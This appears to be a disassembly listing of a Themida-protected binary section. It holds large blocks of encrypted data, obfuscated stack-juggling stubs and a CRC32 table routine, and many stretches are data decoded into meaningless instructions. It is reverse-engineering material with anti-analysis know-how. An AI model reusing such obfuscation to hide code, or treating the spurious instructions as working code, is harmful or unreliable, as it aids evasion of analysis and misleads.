242D03C2h, 34B14E67h, 7BDC22B1h dd 5EF38B71h, 6603EF83h, 4F8BBFBAh, 10E8h, 0D22B8800h dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 7FD68018h, 1EB815Ah dd 0F000000h, 0FFFF8585h, 0D68166FFh, 8D8DBA21h, 61C2384h dd 371BD8Bh, 8D890615h, 6152721h, 12999529h, 85C70615h dd 61504CDh, 5D9Ch, 85C71EB0h, 6151115h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5EBD4B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EBD4B proc near ; CODE XREF: Themida_:005EBD43p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5EBD4B endp ; --------------------------------------------------------------------------- db 0B0h dd 148C0459h, 949A277Fh, 0B5FFF8EFh, 6150595h, 10E8h, 55062700h dd 65273009h, 8CB0A6F6h, 9E7F7560h, 95FF5BBAh, 61502C9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h dd 0DC55EBA4h, 0F9884F14h, 95FF006Ah, 6152E21h, 6AEBC08Bh dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 251DE820h, 1E2A74EBh dd 45137829h, 0B540719Dh, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0F6781626h, 25E66C73h dd 417ADE66h, 0B1465295h, 0D5911DBCh, 2B961D0Bh, 0A1182450h dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah dd 597CB59Ch, 17E96CE8h, 26000000h, 373FD1h, 4 dup(0) dd 0E2E90000h, 68000004h, 61C2538h, 0F95A35E9h, 25B068FFh dd 2BE9061Ch, 68FFF95Ah, 61C26D9h, 0F95A21E9h, 68D856FFh dd 0A313968Dh, 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh dd 7CB342B2h, 35EA8BFBh, 81AE47B7h, 0D0039202h, 0D612370Eh dd 18D9169Ah, 56C62424h, 80F05360h, 0C1F1C5F5h, 0D3E1D8FDh dd 0FB78620Ch, 0CEC838B8h, 804319F1h, 169C5EE0h, 2393161Bh dd 50701AF3h, 406FDF63h, 9CAEEF56h, 45C01693h, 6FD0E1D5h dd 50B7B7FFh, 6D24865Dh, 88A20742h, 0C82A9DBDh, 20000002h dd 9042873Eh, 18291693h, 624FCA72h, 1A7D6DDDh, 0C9F9BD34h dd 0FBCA4EF5h, 0E2B3169Bh, 52FDA91Ch, 0C67A0BF9h, 55FDC896h dd 1815E678h, 0D5A90F07h, 9BBC99A5h, 38EF0A17h, 3C29476h dd 1F136B82h, 0B3D66D6Fh, 3A1F2270h, 0F01D8169h, 4F923192h dd 2E1F2270h, 411D321Dh, 472393F0h, 67CAE7F5h, 50B2BFF7h dd 0F6D9B6E0h, 9C4F11E1h, 0CAA0E205h, 0D95EEA49h, 9680F04Dh dd 0DCB996B9h, 0A974E447h, 0AE4B9D3Ah, 4278BA9h, 5C000003h dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh dd 169AD788h, 0AB4AF273h, 4003DB0Bh, 16A31601h, 6769D3DCh dd 15CC7090h, 0AB0F243Ah, 65C55A3Bh, 0ACEA5AD9h, 0D4BAFCD3h dd 0A6A40703h, 7A4948A3h, 169A8657h, 0E92A0516h, 49741686h dd 169A8607h, 936ADA59h, 0B7D3F822h, 8C53AFC5h, 0D4000002h dd 140BEA5Ah, 0E3502595h, 0C23F262h, 0CA593CACh, 7E1DF868h dd 0C030920Dh, 979FE35h, 0C535B76Ch, 10800330h, 0B98C5285h dd 169AD790h, 4FA29A5Bh, 0F293B68Dh, 495A1086h, 3E78E84Ah dd 4FEFA941h, 45843F1Fh, 1816A316h, 69B40F07h, 16169AD6h dd 0A815349Bh, 309DC442h, 167h, 0E3624F0Ch, 0A04A4373h dd 76A01073h, 0E78EFE7Dh, 0EFCFFFBFh, 9BFB1C54h, 0E6D0E116h dd 93FB3E5Fh, 5D50C716h, 0BD2781ECh, 27079Dh, 0AB230000h dd 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh dd 9DBD1CFDh, 0A818949Dh, 49F9916Eh, 0C5h, 66C7245Dh, 86F2BADFh dd 5F704110h, 0C03C7557h, 0F979BA50h, 9DBF8D89h, 9F5C0EB8h dd 8E3765A0h, 10869B4Bh, 88896132h, 667BBB2Bh, 8CC99505h dd 0E0C71D26h, 385337A5h, 14A01D16h, 1AF32393h, 5E0C0135h dd 86503C3Fh, 5DCD2E10h, 1E4EF2B8h, 36578540h, 1526169Eh dd 1A8AE849h, 1989EF44h, 0AD0D2271h, 3A28FB45h, 3E110890h dd 0D836D85Fh, 91F103B7h, 163h, 841181FDh, 3BDA4AAFh, 7C1989E4h dd 44D141A7h, 7A1B8BEFh, 0CF336E1Dh, 669B65Fh, 0D430FF96h dd 21A29164h, 0EBF3E4B1h, 9AD43158h, 13BBC16h, 0B4B864Fh dd 6671E146h, 7D6D1F74h, 0F6CD2E8Ch, 1086D0D3h, 0CFA6899Ah dd 0A273E360h, 0E0624F96h, 1A999A70h, 0BCA26CAAh, 86F2C009h dd 0BD9AAB10h, 8867B2C4h, 0BE6B1F08h, 8228CD3Dh, 15B08EBEh dd 169CF52Ah, 78667849h, 90F684CDh, 5D566716h, 0B87E6CDCh dd 0EE87F77Bh, 90F68AD3h, 0EF5FDC16h, 29991906h, 0C985EDh dd 4FA10000h, 0C580E162h, 1086F29Ch, 35614E5Fh, 3808B258h dd 568F3608h, 2516A316h, 89E94A14h, 0A3041D19h, 0C06E1C33h dd 0E555D5DEh, 25A484D2h, 7B6FFDF4h, 0A1BD2D8Eh, 0CD9568B4h dd 0E3453A5Ah, 654A4373h, 0BA39E685h, 5D59C92Eh, 0EC474F60h dd 47B6EDA4h, 0E70BB239h, 0ECDEDDEEh, 0B8FBA9A2h, 0F21FCB3Bh dd 0A542191h, 31D949A9h, 23138300h, 79A02339h, 9B27B9C4h dd 93475EA0h, 85960AD4h, 1BC70AB9h, 95A627B9h, 44B434F5h dd 1BC27352h, 36DF4FACh, 67228AE9h, 9A5206AFh, 5B5BCB2Fh dd 34624D62h, 933F6D6Ah, 52A2CB8Eh, 9773E361h, 162Bh, 883B2100h dd 27B95941h, 0CB6F1B2Ch, 0FED3864Fh, 979F7ED2h, 243941F3h dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh, 4EC81h dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A5682404h, 89000008h dd 0EC832414h, 243C8904h, 5F2F3A68h, 0C14F5F04h, 0EFC105E7h dd 7EF8105h, 89FE430Bh, 0BD685FF8h, 8900003Ah, 4832424h dd 565A0424h, 24348150h, 2CA9438Ah, 8AF6815Eh, 892CA943h dd 0FF5E0872h, 815A2434h, 4C4h, 2434FF00h, 4C48158h, 0E9000000h dd 0FFF95566h, 0D9B0198Fh, 480FDC76h, 2861B877h, 0C503061Ch dd 5C5DE0FFh, 3E0E23CBh, 73D05AB7h, 59F07699h, 18110181h dd 0AC607E0Dh, 19402A8Bh, 738A34C9h, 0EA7D76F6h, 6E87F3Eh dd 1000000h, 8B2E75D9h, 13E9ADh, 55C20000h, 63A3D62Dh dd 3154EDC1h, 18663711h, 0CDA89843h, 0C08158E9h, 595Dh dd 8E8h, 0CFF13000h, 12217CDDh, 0F78B6692h, 66FF2B5Ah dd 469CD281h, 51381C8Bh, 0FB8B6660h, 0EB815A61h, 19216EE8h dd 0D16D681h, 0F3817D42h, 1728C332h, 81CA8B66h, 0E8E867EBh dd 0D9DD800Ah, 60381C89h, 8E9h, 0C8B69400h, 0A89A1317h dd 610EB3BFh, 215051BEh, 3EF832Bh, 4880Fh, 0BE660000h dd 0B94F0152h, 5519E2D9h, 0A76CFF81h, 850FFFFFh, 1Ah, 9C4EBA66h dd 27E9h, 39E78E00h, 2D7A322Dh, 0AC71B135h, 8FFEE127h dd 8D0F56EBh, 2, 79E9F18Bh, 0B0FFFFFFh, 0AB5CE4CAh, 0E6904A4h dd 7E8h, 0F28F8F00h, 209C92EAh, 58CABF0Fh, 0C2EAD981h dd 0C08131ACh, 6082h, 11E9h, 0B0121F00h, 1B0AA7D8h, 0A195F6B2h dd 0FECFBC3Bh, 0E2684A6Dh, 0FC000017h, 9E95Fh, 0D0050000h dd 0D398761h, 8BF7AF26h, 1B870F18h, 60000000h, 810Fh, 0EE90000h dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0EB816110h dd 140DCE98h, 6564EB81h, 81F857D9h, 4EDD38EBh, 0EA815205h dd 57F43248h, 0FE85359h, 9B000000h, 0F5C8F450h, 0B84DA818h dd 0A54313CEh, 5E891E3h, 58000000h, 0E9A2174h, 5EF08B66h dd 53008F5Ah, 13E8h, 5E101600h, 13068DAEh, 0DEFDA25Bh dd 0B36335C7h, 0DEF44E80h, 830Fh, 595E0000h, 0E902E883h dd 14h, 74A3C1C1h, 0BE011C82h, 0DF994230h, 7D7271BFh, 5C69F25Ch dd 0CE804848h, 850F4F1Dh, 0FFFFFF53h, 0B7D48060h, 0DFC18160h dd 0B21B58E5h, 0E8616160h, 10h, 75ADB00Dh, 40C57A9Ah, 31051B9h dd 807D4E7Bh, 0F121BB66h, 0C881665Ah, 0C2818EE0h, 5BF8h dd 58C38166h, 16CCBE3Ah, 0EB810000h, 7775497h, 816632FFh dd 5FCF1DE1h, 2E88151h, 595C054Bh, 0A962C781h, 0F96007C6h dd 10E960h, 14410000h, 0B00EFDD2h, 14447824h, 4640CC97h dd 58578537h, 0EF816161h, 6D3B8D92h, 6BC4F781h, 57F97416h dd 28FE58Ah, 0C18B6660h, 816177B1h, 1FE925EAh, 0B7D8812Eh dd 8147D6A7h, 1FE921C2h, 6E82Eh, 0B590000h, 66D0B441h dd 5BDFB70Fh, 0F01EE83h, 1985h, 38E0F00h, 80000000h, 19E911F7h dd 3F000000h, 4057C720h, 7A40701Bh, 0B866E453h, 69E9C685h dd 33FFFFFFh, 0B30C7B29h, 0BD83C08Bh, 61508F5h, 83097500h dd 1503ADBDh, 19740006h, 0C08B5350h, 421B8h, 85858900h dd 8D061513h, 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h dd 53501774h, 421B8h, 85858900h, 8D061513h dd 17A78D9Dh, 5BD3FF06h, 8BC08B58h, 1500319Dh, 0C585C606h dd 56061509h, 0A8B85268h, 11B5FF9Ch, 8D061528h, 1872BC85h dd 6AD0FF06h, 10006804h, 0B5FF0000h, 6150685h, 0D0FF006Ah dd 850FC085h, 0Dh, 0B8h, 0D8D8D00h, 0FF061572h, 8BC88BE1h dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 6150FFDh dd 0E840F00h, 8B000000h, 150FFD9Dh, 69858B06h, 8906152Fh dd 8D525103h, 1543E485h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h dd 0C585C6A4h, 56061509h, 1F6D3968h, 11B5FFD4h, 8D061528h dd 1872BC85h, 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 421B8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 421B853h, 85890000h dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0C08B585Bh, 0FFD9D8Dh dd 38B0615h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h dd 0BE8h, 0E6811200h, 0D6D2CF60h, 2A5360BAh, 0A6E78166h dd 8B66594Ah, 0FFC181FEh, 6600006Fh, 0BEDF8Bh, 0BA000000h dd 0E28BBC7h, 0B331048Bh, 74E8814Eh, 0BF39F605h, 63EB3E16h dd 0A4B1E881h, 7E90B85h, 73000000h, 798EC618h, 0C0810F0Fh dd 7EC2CE62h, 310489F8h, 50F28160h, 0E85C77D2h, 0Eh, 2201D86Ah dd 8316534Ch, 0A42F316h, 59537D28h, 29B7615Eh, 6604EE83h dd 0FE81F98Bh, 0FFFF90A8h, 13850Fh, 81660000h, 0E9DF2FCFh dd 1Ch, 8B982CF5h, 5FBDACE7h, 0E9DC8AE5h, 0FFFFFF88h, 0B87DF66Ah dd 9D07D9Eh, 4536B865h, 0AE8h, 7A5BCB00h, 831F93DCh, 0F7B64A9h dd 0E95FCFBFh, 0Ch, 21C15EAh, 30F3D66h, 2DC09768h, 0DA3AC781h dd 0CE8B0000h, 365F68h, 58CF8B00h, 0BED181h, 378B6184h dd 14E8h, 4A787A00h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h dd 297F76BAh, 0CA8B66CFh, 85F68159h, 0B934719Eh, 2EEE633Eh dd 3ABF681h, 13E9461Bh, 0C7000000h, 6EAD0BC5h, 0B90DCACBh dd 3CF005E4h, 1DF76863h, 0C681846Ah, 18D2B5EFh, 8CCB8166h dd 840F56F1h, 0Bh, 58E0Fh, 75B90000h, 8F6CCC5Ah, 0EE907h dd 0CBBF0000h, 46496875h, 687FAFBEh, 0A4C69E73h, 0B504EF83h dd 1E8818Eh, 0F000000h, 0FFFF7585h, 0E93BB6FFh, 85h, 740171CDh dd 2BCA3ABFh, 6C0979F4h, 34C131B7h, 6A0B7BFFh, 0BF437E2Dh dd 0F679A64Fh, 0C440EF86h, 1172C154h, 0DB03D4A1h, 9ADC2168h dd 0F14BCC16h, 6254C424h, 0FE6ED2C1h, 0F2709A17h, 0EFF61086h dd 7310CAD4h, 1089BC48h, 4D123CECh, 3C510h, 2FE10000h dd 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 0A968783Ch dd 0E9061C2Eh, 0FFF94F26h, 40CEBFCh, 8D4F82EFh, 0F34C508Dh dd 0E92F97A5h, 618h, 60CE9h, 9C0C6A00h, 57C72AF9h, 0A41471BEh dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh dd 0A57A1B8Bh, 943FD646h, 0DDD6FBCAh, 0D495169Ah, 58C8298Ah dd 9189615Eh, 8757C724h, 5C5ACA2Ah, 948D8763h, 0BC2C8C18h dd 92B2857Ah, 0D29D3B15h, 0F6EB2B04h, 1C150171h, 0FBE82E9Eh dd 0FA370777h, 0B6600A7Ah, 0F3CB3BBDh, 4EAE3ABEh, 0C8C5F1DEh dd 2D0A4FF6h, 20F11086h, 0DC02CC4Ah, 862D2069h, 10FACB10h dd 432A223h, 2797191Ah, 0BF6C1EEFh, 5ECCCA3Ah, 0F1546A9Ah dd 16A3FEFCh, 3495141Dh, 9BFC4891h, 4D623316h, 22967449h dd 89E44D11h, 0AEC37119h, 0E936DF4Fh, 9B1A1C8Ch, 5C3840BEh dd 62C6EBADh, 2EA118F2h, 0E62B9AC4h, 855F3D99h, 0D855D6B4h dd 0BD885668h, 5F3D9994h, 0C9A44657h, 0D1ED1DE1h, 184A7F72h dd 893CFE59h, 45516840h, 1351A2Bh, 2494161Bh, 0F767C546h dd 43B3111Eh, 0B7C7F053h, 0FF660F04h, 575F7D0h, 79A02339h dd 4B0A527h, 6E3C5733h, 9AC49ACAh, 0A527E62Bh, 0D6B485B0h dd 284DC580h, 85AEB6B8h, 0E1D5B525h, 44A50ED0h, 133960E3h dd 0F3C4B6BEh, 0AEE5DADCh, 2EDC4Ch, 0BE135885h, 0BC2C8EB6h dd 0E488D7Ah, 0EC73F5DBh, 0E4D242A7h, 598A35DCh, 0B29746F1h dd 3DE06A47h, 1ACDh, 7CCA0B00h, 0AD7C8D3Fh, 0EBE1540Fh dd 5F2662CCh, 0A34768D8h, 353B56Fh, 24D10000h, 4BBB3CC8h dd 0C4413264h, 5C5E6254h, 0F2A1BB7Bh, 0D5B5901Ch, 58D4F3DAh dd 14410DE8h, 0BF243F81h, 0D7543665h, 4EB1E555h, 0D3FABF87h dd 6D0878F4h, 40CF37B6h, 46B63B28h, 10587F50h, 87F77939h dd 0BE91BE8Fh, 95056B78h, 0CCF3A2A1h, 340A7AFBh, 0A61D7EFFh dd 10867463h, 7416390Ah, 0EB203519h, 0E72A99A3h, 8610869Dh dd 0B95BA2B5h, 9C30FDDAh, 5C214573h, 6A530FAEh, 1D9D2E1Fh dd 2D86C8ADh, 655A5CCCh, 0B3238485h, 99096E83h, 0F23F019Dh dd 85401E8Eh, 0D1E535Ch, 355C0E1Fh, 2EBA3D8Ah, 67585ECEh dd 0DB07AD48h, 45000000h, 6D1D8DECh, 0E010ABC5h, 0CE3EBDB6h dd 0CD3DC3F0h, 64E14E1Dh, 67C9EAF4h, 1CCEBFF7h, 0F24E93F2h dd 0A8B21086h, 0F2CA0FB6h, 0C4B11086h, 0C0BDF969h, 290BC8EFh dd 0DA945BA2h, 71568930h, 8DD1A414h, 6155C524h, 2A8D7E6Ch dd 4677CBAh, 0B69CA94h, 23869B9Bh, 40EE9CB3h, 5A5CCC33h dd 3F77E749h, 0DDEAD544h, 4EC2ED5Dh, 68CFF8E7h, 6ACDE6F8h dd 0AE8510FAh, 0C4DDD949h, 0C5C0F666h, 0D95E6954h, 9CC28C69h dd 86D3E029h, 0D0BA8B10h, 276FDF63h, 60DC0EC8h, 4AADC6F0h dd 0CACC3CBEh, 1DDCDAF5h, 0AF9A4974h, 92F0D706h, 7E45A606h dd 1086D35Bh, 0F83E1122h, 0D64D2807h, 36BCA56h, 0D180F239h dd 0B8FBD49Dh, 0AFE7C838h, 86D30854h, 7A65D410h, 48B83B78h dd 0A31371A2h, 0C82466D2h, 0E7455E58h, 11883F77h, 5BCB299Eh dd 0F7EBF7BAh, 86E51086h, 0EC7C3916h, 7697A822h, 0FFFFFF09h dd 0DB0BAB92h, 6704003h, 0AAAB169Ch, 0D4214F88h, 0E6444FC5h dd 9B4F4076h, 0D84832FBh, 0CD08F6F1h, 0C9EAB4E2h, 0EB5BDC68h dd 0B9FDD2ABh, 0DADC4CA8h, 0F320CAE5h, 0DE552090h, 0B8A9ED5Dh dd 0DB4BAC38h, 0F666C6DBh, 0CFE0CFC0h, 0DDD057C7h, 4A2189EAh dd 0C646F10Dh, 66D6565Dh, 0F477AC49h, 0B39C0C68h, 0B42486ABh dd 2FDD8D82h, 930988D4h, 0F363E016h, 0DB4BAEC3h, 7E31D8DBh dd 0A20D8465h, 0BF56C625h, 73A31370h, 3D013105h, 4BB3121Fh dd 763B0FACh, 9482AD26h, 7CF4CFBBh, 1108EB6h, 0A1556530h dd 0D46F6D71h, 1CACA58Dh, 0A9AB5F70h, 8976AB1Ah, 9D99AA1Ah dd 0DDB82884h, 4076E646h, 63C854C5h, 0CD00A748h, 6B0A7AFAh dd 0D3C333B4h, 0A8EE5EDEh, 0CEC838BBh, 0B2E454D5h, 0EAF9E455h dd 0E5607E40h, 4B6211BCh, 157C6E3Fh, 0FD1A9FAAh, 0B6A2F38Ch dd 76000000h, 35DC524h, 0D45AA260h, 3365BEAh, 0E4B51086h dd 4D11E4CBh, 751585E4h, 2CC939B4h, 3D0171F7h, 610979F4h dd 2D9D1D12h, 0E757DB48h, 1B3E05D7h, 0E2108603h, 0F05A39D1h dd 0E6D040C3h, 160070CDh, 0B7741639h, 2935C030h, 3499033h dd 63341086h, 3363D330h, 183B05Ah, 845A0491h, 860398C1h dd 0B8526310h, 0ED88F87Bh, 7A44B436h, 0C4FB739h, 93A09BE4h dd 2926103Fh, 3482D341h, 4A4CBC3Fh, 0B413BA6Bh, 6A74C333h dd 8659B6DBh, 0D0733510h, 10865989h, 0E98CA374h, 0ED4ABA3Ah dd 6539B9h, 944D0000h, 86F21F39h dd 0BB26310h, 0F565CAE7h, 561ECCC1h, 55C524E2h, 861273C0h dd 8C81B525h, 0DB5DD2A3h, 15958A6Bh, 7CBA2A89h, 0F2EE3392h dd 0BC8D1086h, 4AD9BC93h, 786678E8h, 86F284CDh, 0E959DA10h dd 5F70D0ADh, 0EC53E0ABh, 2A8A997Ch, 0E744DBBAh, 9BBC9E77h dd 0B0DAA653h, 69593120h, 3, 244B2F3Dh, 475C5ACAh, 314274E4h dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h dd 4F6452C2h, 783C7AEAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push 7215h mov [esp], ebp push edi mov edi, 38692C93h push ebp mov ebp, 17554287h xor ebp, 45733CF5h and ebp, 56E63F11h dec ebp shr ebp, 4 add ebp, 48C9FC48h or edi, ebp pop ebp and edi, 553E642Dh sub edi, 4F1034E3h mov eax, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push eax push edx mov edx, 9DB5821h xor [esp+4], edx pop edx pop dword ptr [ebp+8] xor dword ptr [ebp+8], 9DB5821h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- or al, 0CEh jg short loc_5ECFA9 sub ch, [ecx] ; CODE XREF: Themida_:005ECFD3j or al, 0F9h fsubp st(3), st pop ss pop esp sub al, 0B8h xchg eax, ecx xor al, 1Ch push es add eax, ebp mov edx, ebx jmp loc_5ECFCA ; --------------------------------------------------------------------------- pusha mov edi, [ebp+6151CA9h] sub edi, 4 xor ecx, ecx loc_5ECF9B: ; CODE XREF: Themida_:005ECFC2j mov eax, ecx mov ebx, 0EDB88320h add edi, 4 ; --------------------------------------------------------------------------- db 0BEh, 8, 0 db 0 ; --------------------------------------------------------------------------- loc_5ECFA9: ; CODE XREF: Themida_:005ECF76j ; Themida_:005ECFB3j add cl, dl call near ptr 0D382A1CBh xor eax, edx dec esi jnz near ptr loc_5ECFA9+1 inc ecx mov [edi], eax cmp ecx, 100h jb loc_5ECF9B popa locret_5ECFC9: ; CODE XREF: Themida_:005ECFD1j retn ; --------------------------------------------------------------------------- loc_5ECFCA: ; CODE XREF: Themida_:005ECF8Aj mov ecx, eax push ebp in eax, dx std jnz short loc_5ED02F ; CODE XREF: Themida_:005ED037j jp short locret_5ECFC9 jbe short near ptr loc_5ECF78+1 imul esp, esi, 0FD49BC56h ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- sbb ds:0FD2436EDh[edi*8], ah and ah, [ecx] and al, 0FDh sub byte ptr [eax+6E72FD24h], 24h std push 31FD248Ch std and al, 0FDh push ss inc ebp loc_5ECFF9: ; CODE XREF: Themida_:005ED067j and al, 0FDh or eax, 48FD2419h db 36h and al, 0FDh add [ecx], esp and al, 0FDh ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- loc_5ED008: ; CODE XREF: Themida_:005ED03Bj lodsd loc_5ED009: ; CODE XREF: Themida_:005ED04Bj and al, 0FDh mov dword ptr [esi+24h], 248CA4FDh std cmp ebp, 434DFD24h and al, 0FDh xchg eax, ecx sbb ds:358A259Dh[edi*8], ah xchg eax, ebp and ah, [edx+714A76D6h] ; CODE XREF: Themida_:005ED05Bj ; Themida_:005ED06Bj ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005ED035j loc_5ED02E: ; CODE XREF: Themida_:005ED03Fj hlt ; --------------------------------------------------------------------------- loc_5ED02F: ; CODE XREF: Themida_:005ECFCFj pop esp loc_5ED030: ; CODE XREF: Themida_:005ED031j pop edx jp short loc_5ED030 jnz short near ptr loc_5ED05B+1 jb short near ptr loc_5ED02A+2 jnz short near ptr loc_5ECFCF+1 ; CODE XREF: Themida_:005ED039j ; Themida_:005ED041j ... jns short near ptr loc_5ED037+1 jz short loc_5ED008 ; CODE XREF: Themida_:005ED03Dj js short near ptr loc_5ED03B+1 jnb short loc_5ED02E jge short near ptr loc_5ED037+1 loc_5ED043: ; CODE XREF: Themida_:loc_5ED045j jz short near ptr loc_5ED037+1 loc_5ED045: ; CODE XREF: Themida_:loc_5ED05Fj jnp short loc_5ED043 loc_5ED047: ; CODE XREF: Themida_:005ED049j jz short loc_5ED0C1 jnp short loc_5ED047 jnz short loc_5ED009 ; CODE XREF: Themida_:005ED04Dj jp short near ptr loc_5ED04B+1 jnz short near ptr loc_5ED0AE+1 ; CODE XREF: Themida_:005ED051j jp short near ptr loc_5ED04F+1 jbe short loc_5ED0AB sbb [ebx-5CE61A8Bh], ah ; CODE XREF: Themida_:loc_5ED063j loc_5ED05B: ; CODE XREF: Themida_:005ED033j ; Themida_:005ED05Dj jnz short near ptr loc_5ED024+4 jp short near ptr loc_5ED05B+1 loc_5ED05F: ; CODE XREF: Themida_:005ED061j jnz short loc_5ED045 jnp short loc_5ED05F loc_5ED063: ; CODE XREF: Themida_:005ED065j jz short near ptr loc_5ED055+3 jnp short loc_5ED063 jz short loc_5ECFF9 mov dl, 0F8h jnz short near ptr loc_5ED024+5 sbb dh, [eax-10h] jmp short near ptr loc_5ED0B4+1 ; --------------------------------------------------------------------------- dw 73E1h dd 4011FFA6h, 0F0707C8Bh, 73E14300h, 4051FF6Ch, 0F0707CEEh dd 73E14070h, 4015FF35h, 0F0707C42h, 73E14346h, 404DFF1Eh dd 0F0707CD7h, 73E143CDh, 4049FF7Bh db 65h, 7Ch, 70h ; --------------------------------------------------------------------------- loc_5ED0AB: ; CODE XREF: Themida_:005ED053j lock jp short loc_5ED0FB loc_5ED0AE: ; CODE XREF: Themida_:loc_5ED04Fj loope loc_5ED123 xlat inc dword ptr [ebp+40h] loc_5ED0B4: ; CODE XREF: Themida_:005ED070j xor edi, [eax+esi*2-10h] dec edi dec ebp loope loc_5ED12F inc edx inc dword ptr [ecx+40h] stc loc_5ED0C1: ; CODE XREF: Themida_:loc_5ED047j jl short loc_5ED133 lock sbb al, 4Dh loope loc_5ED13B ; --------------------------------------------------------------------------- dd 403DFFF0h, 0F0707CA0h, 73E14217h, 4031FFA6h db 8Bh, 7Ch, 70h ; --------------------------------------------------------------------------- loc_5ED0DB: ; CODE XREF: Themida_:loc_5ED133j lock fiadd word ptr [edx-1Fh] jnb short near ptr byte_5ED14D ; --------------------------------------------------------------------------- db 0FFh, 39h, 40h dd 0F0707CEEh, 73E1424Dh, 4035FF35h, 0F0707C42h, 73E14266h ; --------------------------------------------------------------------------- push ds push dword ptr [ecx] loc_5ED0FB: ; CODE XREF: Themida_:loc_5ED0ABj inc eax xlat jl short loc_5ED16F lock inc dx loope loc_5ED177 jnp short near ptr loc_5ED104+1 ; CODE XREF: Themida_:loc_5ED104j and [eax+65h], eax jl short near ptr loc_5ED177+4 lock push ds inc edx loope near ptr loc_5ED181+2 xlat call fword ptr ds:707C3340h lock push edx inc edx loope near ptr loc_5ED18E+1 inc edx call fword ptr [ecx] inc eax stc jl short near ptr loc_5ED190+3 loc_5ED123: ; CODE XREF: Themida_:loc_5ED0AEj ; Themida_:005ED18Aj lock cld inc ebx loope loc_5ED19B lock jmp fword ptr ds:707CA040h ; --------------------------------------------------------------------------- loc_5ED12F: ; CODE XREF: Themida_:005ED0BAj lock sbb eax, [ebx-1Fh] loc_5ED133: ; CODE XREF: Themida_:loc_5ED0C1j jnb short loc_5ED0DB jmp fword ptr [ecx] ; --------------------------------------------------------------------------- db 40h db 8Bh, 7Ch, 70h ; --------------------------------------------------------------------------- loc_5ED13B: ; CODE XREF: Themida_:005ED0C6j lock sub eax, [ebx-1Fh] jnb short near ptr loc_5ED1AC+1 jmp dword ptr ds:767CEE40h ; --------------------------------------------------------------------------- db 0F0h dd 73E85FF4h db 35h byte_5ED14D db 0FFh, 0D8h, 43h ; CODE XREF: Themida_:005ED0DFj dd 0F0767C42h, 73E85886h, 43D4FF1Eh, 0B69C7CD7h, 9D11F1B0h dd 75FD7AF2h, 4C17FB23h ; --------------------------------------------------------------------------- loc_5ED16C: ; CODE XREF: Themida_:loc_5ED19Bj mov esp, [esi-5] loc_5ED16F: ; CODE XREF: Themida_:005ED0FDj and eax, 0FDF53FD5h lodsd pop esi retf ; --------------------------------------------------------------------------- loc_5ED177: ; CODE XREF: Themida_:005ED102j ; Themida_:005ED109j imul edx, [ecx-3048CBDEh], 0B723AC7Ah loc_5ED181: ; CODE XREF: Themida_:005ED10Ej sub [ebp-285E5E0h], ebp jnz short locret_5ED202 daa jl short near ptr loc_5ED123+1 out 4Dh, al loc_5ED18E: ; CODE XREF: Themida_:005ED11Aj loope loc_5ED203 loc_5ED190: ; CODE XREF: Themida_:005ED1F7j ; Themida_:005ED121j mov al, ds:334056FFh jl short loc_5ED214 enter 4F3Ch, 0E1h loc_5ED19B: ; CODE XREF: Themida_:005ED126j jnb short loc_5ED16C or [ebp+eax*8-4AB48A1Ch], esi stc mov edx, 0EF863589h aam 43h loc_5ED1AC: ; CODE XREF: Themida_:005ED13Fj ; Themida_:005ED223j mov al, ds:96FEBD7Ch sub eax, [ebp+7Ah] loc_5ED1B4: ; CODE XREF: Themida_:005ED1B5j das jp short loc_5ED1B4 ; CODE XREF: Themida_:005ED219j mov al, [edx] push ebx retf ; --------------------------------------------------------------------------- db 69h dd 0D948F7CDh, 0F8FB66D0h, 9D50FCC6h ; --------------------------------------------------------------------------- 